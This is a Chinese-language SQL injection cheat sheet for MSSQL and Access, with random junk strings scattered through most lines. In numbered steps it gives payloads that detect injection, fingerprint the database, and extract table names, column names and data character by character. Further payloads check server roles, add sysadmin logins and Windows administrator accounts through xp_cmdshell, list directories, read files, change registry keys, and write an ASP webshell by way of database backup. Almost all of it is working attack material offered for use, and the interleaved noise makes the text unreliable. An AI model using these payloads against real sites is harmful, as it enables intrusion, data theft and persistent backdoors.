1.判断是否有注入;and 1=1 ;and 1=2 *R BV'b
2.初步判断是否是mssql ;and user>0 f0vJm
T'E]
i!$
3.注入参数是字符'and [查询条件] and ''=' |+98h&U~
C;9t">prk
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 2gt+l?O<PS
~8TF*3[}[
5.判断数据库系统 %dc3z"u
N#4N?BBP"
;and (select count(*) from sysobjects)>0 mssql +=7:4LFOL
;+sl7qlA4
;and (select count(*) from msysobjects)>0 access Jm4#V~w
tR1FO%nC
%`e`g ^
$_sYfU9
6.猜数据库 ;and (select Count(*) from [数据库名])>0 8!&nKy<Y
TjxA#D)
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Ry&q1j
r$ =qQ7^#
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 b^x07lO
#Q}_e7t
9.(1)猜字段的ascii值(access) 9t?L\
F?9SiX[\
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 eX"''PA
YGp)Oy}:
(2)猜字段的ascii值(mssql) gyev5txn
>^=gDJ\a
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 NgVR,G|1
!;v.>.lw
10.测试权限结构(mssql) x0A7O
'Dath>Y=
EiWd+v,QJQ
^]>aHz9
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- )o{aeV
[k$efwJ
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- H=p`T+
<r~wZ}s
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- o_f-GO
O- #TZ
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- _fn1)
M&KyA
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- :U'Cor
H
$i#?v
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- kccWoU,
#H~_K}Ks
;and 1=(select IS_MEMBER('db_owner'));-- 2 0tO#{Li
.TpsJXF
wvN `R
=sgdkAYwP
11.添加mssql和系统的帐户 s_[VHPN
[=uIb._Wv
;exec master.dbo.sp_addlogin username;-- $SY]fNJQ
;exec master.dbo.sp_password null,username,password;-- Elb aFbr
fThgK;Qy'U
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- XRtD< jlA"
nlc.u}#
;exec master.dbo.xp_cmdshell 'net user username password D-&an@
C&<~f#lB
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ZVih =Y-w
QkQ!Ep(
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Kz?#C
KpHw-6"
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- skg|>R,kE
{ci.V*:"
=qu(~]2(
91Z'
12.(1)遍历目录 33Az$GXFsq
>IfV\w32
;create table dirs(paths varchar(100), id int) J G$Z.s
%*}Y6tl '|
;insert dirs exec master.dbo.xp_dirtree 'c:\' l\OLyQ
kmPYx)o
;and (select top 1 paths from dirs)>0 "i^
GmVn
6 %Mt
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) !&^gaUa{
K.~q+IYP[
!l@zT}i??
==N{1gO]
(2)遍历目录 u]*0;-tz
xc@Ss[
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 8\.b4FNJ
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 .a'f|c6
a_~=#]a
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 }H> ^o9
tq1CwzRX
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 > L2HET
_}xd}QW
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 I:cg}JZ>|
i1lBto[
S$,'Q^~K
u\yVR$pQ
13.mssql中的存储过程 w;6bD'.>;
Lh.b5Q|
xp_regenumvalues 注册表根键, 子键 M5357Q
NPa\Cg[
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 co8"sz0(U
').}N z
xp_regread 根键,子键,键值名 tBbOY}.VD
yw-8#y
;exec xp_regread r!1D*v5&:
%EbPI)yY3
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ~^jq(:d)
CNZ z]H
xp_regwrite 根键,子键, 值名, 值类型, 值 Q4*?1`IsR
ElhRF{R
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 !>,m&O-x
"hxN !,DEZ
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 HBS\<}
4`m~FNVS
xp_regdeletevalue 根键,子键,值名 G2bDf-1ew
x!LQxoNF
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 t]jFo
s#~GH6/
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8BOZh6BV
,l YE
W!Hm~9fz
^&@w$
14.mssql的backup创建webshell >@xrs
&Mq~T_S
use model R0ID2:i]F
U4f5xUY0)
create table cmd(str image); }D411228
x+ncc_2n&D
insert into cmd(str) values (''); h,aA w#NE*
(wIzat
backup database model to disk='c:\l.asp'; xsd_Uu*
3$.deYa$R
0.T4{JS#
0sN.H=
15.mssql内置函数 f=C ,e/sw
CYYkzcc^
;and (select @@version)>0 获得Windows的版本号 `ps)0!L
L`
uH/w\v_I
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Y}#h5\
\$0F-=w`8
;and (select user_name())>0 爆当前系统的连接用户 1XM^8 .;
ku$$ 1xq
;and (select db_name())>0 得到当前连接的数据库 Ya>oCr}K
Gj"7s8(/K|
t!*+8Q!e
d\x7Zw>
16.简洁的webshell 'WaPrCw@Mf
5`
Te\H
use model I2nF-JzD2a
3vcO!6Z5
create table cmd(str image); t`*! w|}(1
~\{^%~[48
insert into cmd(str) values (''); 7VcmVq}X
=mA: ctu~v
backup database model to disk='g:\wwwtest\l.asp';